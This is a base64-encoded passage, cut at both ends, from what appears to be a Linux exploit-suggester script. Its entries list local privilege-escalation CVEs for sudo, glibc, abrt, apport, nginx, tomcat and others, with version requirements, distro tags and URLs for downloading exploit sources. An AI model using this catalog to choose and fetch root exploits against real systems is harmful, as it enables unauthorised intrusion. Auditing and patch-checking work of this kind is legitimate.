ZWRvcmE9MTYgClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLzIwMTIvSmFuL2F0dC01OTAvYWR2aXNvcnlfc3Vkby50eHQKZXhwbG9pdC1kYjogMTg0MzYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDQ3Nl0ke3R4dHJzdH0gY2hrcm9vdGtpdApSZXFzOiBwa2c9Y2hrcm9vdGtpdCx2ZXI8MC41MApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE0L3EyLzQzMApleHBsb2l0LWRiOiAzMzg5OQpDb21tZW50czogUm9vdGluZyBkZXBlbmRzIG9uIHRoZSBjcm9udGFiICh1cCB0byBvbmUgZGF5IG9mIGRlbGF5KQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC01MTE5XSR7dHh0cnN0fSBfX2djb252X3RyYW5zbGl0X2ZpbmQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHg4NgpUYWdzOiBkZWJpYW49NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE0LzA4L3RoZS1wb2lzb25lZC1udWwtYnl0ZS0yMDE0LWVkaXRpb24uaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy8zNDQyMS50YXIuZ3oKZXhwbG9pdC1kYjogMzQ0MjEKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTg2Ml0ke3R4dHJzdH0gbmV3cGlkIChhYnJ0KQpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MjAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMzE1XSR7dHh0cnN0fSByYWNlYWJydApSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MTl7YWJydDoyLjEuNS0xLmZjMTl9LGZlZG9yYT0yMHthYnJ0OjIuMi4yLTIuZmMyMH0sZmVkb3JhPTIxe2FicnQ6Mi4zLjAtMy5mYzIxfSxSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvMTMwCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvL2ZlMzU5MDA2ODM2ZDZjZDEwOTFlL3Jhdy8zMmZlODQ4MWM0MzRmOGNhZDViY2Y4NTI5Nzg5MjMxNjI3ZTUwNzRjL3JhY2VhYnJ0LmMKZXhwbG9pdC1kYjogMzY3NDcKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KQpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzE4XSR7dHh0cnN0fSBuZXdwaWQgKGFwcG9ydCkgMgpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQuMgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CmV4cGxvaXQtZGI6IDM2NzgyCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyMDJdJHt0eHRyc3R9IGZ1c2UgKGZ1c2VybW91bnQpClJlcXM6IHBrZz1mdXNlLHZlcjwyLjkuMwpUYWdzOiBkZWJpYW49Ny4wfDguMCx1YnVudHU9KgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvNTIwCmV4cGxvaXQtZGI6IDM3MDg5CkNvbW1lbnRzOiBOZWVkcyBjcm9uIG9yIHN5c3RlbSBhZG1pbiBpbnRlcmFjdGlvbgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODE1XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdApSZXFzOiBwa2c9c2V0cm91Ymxlc2hvb3QsdmVyPDMuMi4yMgpUYWdzOiBmZWRvcmE9MjEKUmFuazogMQpleHBsb2l0LWRiOiAzNjU2NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMjQ2XSR7dHh0cnN0fSB1c2VyaGVscGVyClJlcXM6IHBrZz1saWJ1c2VyLHZlcjw9MC42MApUYWdzOiBSSEVMPTZ7bGlidXNlcjowLjU2LjEzLSg0fDUpLmVsNn0sUkhFTD02e2xpYnVzZXI6MC42MC01LmVsN30sZmVkb3JhPTEzfDE5fDIwfDIxfDIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTUvMDcvMjMvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2L2N2ZS0yMDE1LTMyNDUtY3ZlLTIwMTUtMzI0Ni50eHQgCmV4cGxvaXQtZGI6IDM3NzA2CkNvbW1lbnRzOiBSSEVMIDUgaXMgYWxzbyB2dWxuZXJhYmxlLCBidXQgaW5zdGFsbGVkIHZlcnNpb24gb2YgZ2xpYmMgKDIuNSkgbGFja3MgZnVuY3Rpb25zIG5lZWRlZCBieSByb290aGVscGVyLmMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtNTI4N10ke3R4dHJzdH0gYWJydC9zb3NyZXBvcnQtcmhlbDcKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogUkhFTD03e2FicnQ6Mi4xLjExLTEyLmVsN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xCnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xLzEKZXhwbG9pdC1kYjogMzg4MzIKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS02NTY1XSR7dHh0cnN0fSBub3RfYW5fc3NobnVrZQpSZXFzOiBwa2c9b3BlbnNzaC1zZXJ2ZXIsdmVyPj02LjgsdmVyPD02LjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI2LzIKZXhwbG9pdC1kYjogNDExNzMKYXV0aG9yOiBGZWRlcmljbyBCZW50bwpDb21tZW50czogTmVlZHMgYWRtaW4gaW50ZXJhY3Rpb24gKHJvb3QgdXNlciBuZWVkcyB0byBsb2dpbiB2aWEgc3NoIHRvIHRyaWdnZXIgZXhwbG9pdGF0aW9uKQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjEyXSR7dHh0cnN0fSBibHVlbWFuIHNldF9kaGNwX2hhbmRsZXIgZC1idXMgcHJpdmVzYwpSZXFzOiBwa2c9Ymx1ZW1hbix2ZXI8Mi4wLjMKVGFnczogZGViaWFuPTh7Ymx1ZW1hbjoxLjIzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly90d2l0dGVyLmNvbS90aGVncnVncS9zdGF0dXMvNjc3ODA5NTI3ODgyODEzNDQwCmV4cGxvaXQtZGI6IDQ2MTg2CmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTEyNDBdJHt0eHRyc3R9IHRvbWNhdC1yb290cHJpdmVzYy1kZWIuc2gKUmVxczogcGtnPXRvbWNhdApUYWdzOiBkZWJpYW49OCx1YnVudHU9MTYuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1EZWJQa2dzLVJvb3QtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdC1DVkUtMjAxNi0xMjQwLmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApleHBsb2l0LWRiOiA0MDQ1MAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBZmZlY3RzIG9ubHkgRGViaWFuLWJhc2VkIGRpc3Ryb3MKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0N10ke3R4dHJzdH0gbmdpbnhlZC1yb290LnNoClJlcXM6IHBrZz1uZ2lueHxuZ2lueC1mdWxsLHZlcjwxLjEwLjMKVGFnczogZGViaWFuPTgsdWJ1bnR1PTE0LjA0fDE2LjA0fDE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OZ2lueC1FeHBsb2l0LURlYi1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtMTI0Ny5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi0xMjQ3L25naW54ZWQtcm9vdC5zaApleHBsb2l0LWRiOiA0MDc2OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gY3Jvbi5kYWlseSAodXAgdG8gMjRoIG9mIGRlbGF5KS4gQWZmZWN0ZWQ6IGRlYjg6IDwxLjYuMjsgMTQuMDQ6IDwxLjQuNjsgMTYuMDQ6IDEuMTAuMDsgZ2VudG9vOiA8MS4xMC4yLXIzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTU0OQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xNTMxXSR7dHh0cnN0fSBwZXJsX3N0YXJ0dXAgKGV4aW0pIDIKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTUzNQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTg5XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdCAyClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdApUYWdzOiBSSEVMPTZ8NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jLXNraWxscy5ibG9nc3BvdC5jb20vMjAxNi8wNi9sZXRzLWZlZWQtYXR0YWNrZXItaW5wdXQtdG8tc2gtYy10by1zZWUuaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc3RlYWx0aC90cm91Ymxlc2hvb3Rlci9yYXcvbWFzdGVyL3N0cmFpZ2h0LXNob290ZXIuYwpleHBsb2l0LWRiOgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01NDI1XSR7dHh0cnN0fSB0b21jYXQtUkgtcm9vdC5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IFJIRUw9NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtUmVkSGF0LVBrZ3MtUm9vdC1Qcml2RXNjLUV4cGxvaXQtQ1ZFLTIwMTYtNTQyNS5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL3RvbWNhdC1SSC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNDg4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBSZWRIYXQtYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi02NjYzLENWRS0yMDE2LTY2NjR8Q1ZFLTIwMTYtNjY2Ml0ke3R4dHJzdH0gbXlzcWwtZXhwbG9pdC1jaGFpbgpSZXFzOiBwa2c9bXlzcWwtc2VydmVyfG1hcmlhZGItc2VydmVyLHZlcjw1LjUuNTIKVGFnczogdWJ1bnR1PTE2LjA0LjEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL015U1FMLU1hcmlhLVBlcmNvbmEtUHJpdkVzY1JhY2UtQ1ZFLTIwMTYtNjY2My01NjE2LUV4cGxvaXQuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi02NjYzL215c3FsLXByaXZlc2MtcmFjZS5jCmV4cGxvaXQtZGI6IDQwNjc4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsc28gTWFyaWFEQiB2ZXI8MTAuMS4xOCBhbmQgdmVyPDEwLjAuMjggYWZmZWN0ZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTU2Nl0ke3R4dHJzdH0gbmFnaW9zLXJvb3QtcHJpdmVzYwpSZXFzOiBwa2c9bmFnaW9zLHZlcjw0LjIuNApUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTmFnaW9zLUV4cGxvaXQtUm9vdC1Qcml2RXNjLUNWRS0yMDE2LTk1NjYuaHRtbApzcmMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtOTU2Ni9uYWdpb3Mtcm9vdC1wcml2ZXNjLnNoCmV4cGxvaXQtZGI6IDQwOTIxCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsbG93cyBwcml2IGVzY2FsYXRpb24gZnJvbSBuYWdpb3MgdXNlciBvciBuYWdpb3MgZ3JvdXAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMDM1OF0ke3R4dHJzdH0gbnRmcy0zZy1tb2Rwcm9iZQpSZXFzOiBwa2c9bnRmcy0zZyx2ZXI8MjAxNy40ClRhZ3M6IHVidW50dT0xNi4wNHtudGZzLTNnOjIwMTUuMy4xNEFSLjEtMWJ1aWxkMX0sZGViaWFuPTcuMHtudGZzLTNnOjIwMTIuMS4xNUFSLjUtMi4xK2RlYjd1Mn0sZGViaWFuPTguMHtudGZzLTNnOjIwMTQuMi4xNUFSLjItMStkZWI4dTJ9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTA3MgpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80MTM1Ni56aXAKZXhwbG9pdC1kYjogNDEzNTYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuIExpbnV4IGhlYWRlcnMgbXVzdCBiZSBpbnN0YWxsZWQuIFN5c3RlbSBtdXN0IGhhdmUgYXQgbGVhc3QgdHdvIENQVSBjb3Jlcy4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTg5OV0ke3R4dHJzdH0gcy1uYWlsLXByaXZnZXQKUmVxczogcGtnPXMtbmFpbCx2ZXI8MTQuOC4xNgpUYWdzOiB1YnVudHU9MTYuMDQsbWFuamFybz0xNi4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcvMQpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy01ODk5L2V4cGxvaXQuc2gKYXV0aG9yOiB3YXBpZmxhcGkgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2N10ke3R4dHJzdH0gU3Vkb2VyLXRvLXJvb3QKUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOiBSSEVMPTd7c3VkbzoxLjguNnA3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA1LzMwL2N2ZS0yMDE3LTEwMDAzNjcvbGludXhfc3Vkb19jdmUtMjAxNy0xMDAwMzY3LmMKZXhwbG9pdC1kYjogNDIxODMKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBzdWRvcHduClJlcXM6IHBrZz1zdWRvLHZlcjw9MS44LjIwLGNtZDpbIC1mIC91c3Ivc2Jpbi9nZXRlbmZvcmNlIF0KVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnN1ZG8ud3MvYWxlcnRzL2xpbnV4X3R0eS5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jMGQzejNyMC9zdWRvLUNWRS0yMDE3LTEwMDAzNjcvbWFzdGVyL3N1ZG9wd24uYwpleHBsb2l0LWRiOgphdXRob3I6IGMwZDN6M3IwCkNvbW1lbnRzOiBOZWVkcyB0byBiZSBzdWRvZXIuIFdvcmtzIG9ubHkgb24gU0VMaW51eCBlbmFibGVkIHN5c3RlbXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcwXSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2h3Y2FwLmMKZXhwbG9pdC1kYjogNDIyNzQKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgYmluYXJpZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcxXSR7dHh0cnN0fSBsaW51eF9sZHNvX2R5bmFtaWMKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczogZGViaWFuPTl8MTAsdWJ1bnR1PTE0LjA0LjV8MTYuMDQuMnwxNy4wNCxmZWRvcmE9MjN8MjR8MjUKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29fZHluYW1pYy5jCmV4cGxvaXQtZGI6IDQyMjc2CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IFBJRXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzc5XSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwXzY0ClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2XzY0ClRhZ3M6IGRlYmlhbj03Ljd8OC41fDkuMCx1YnVudHU9MTQuMDQuMnwxNi4wNC4yfDE3LjA0LGZlZG9yYT0yMnwyNSxjZW50b3M9Ny4zLjE2MTEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXBfNjQuYwpleHBsb2l0LWRiOiA0MjI3NQphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzcwLENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X29mZnNldDJsaWIKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X29mZnNldDJsaWIuYwpleHBsb2l0LWRiOiA0MjI3MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDAwMDAxXSR7dHh0cnN0fSBSYXRpb25hbExvdmUKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjwyLjI3LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLHg4Nl82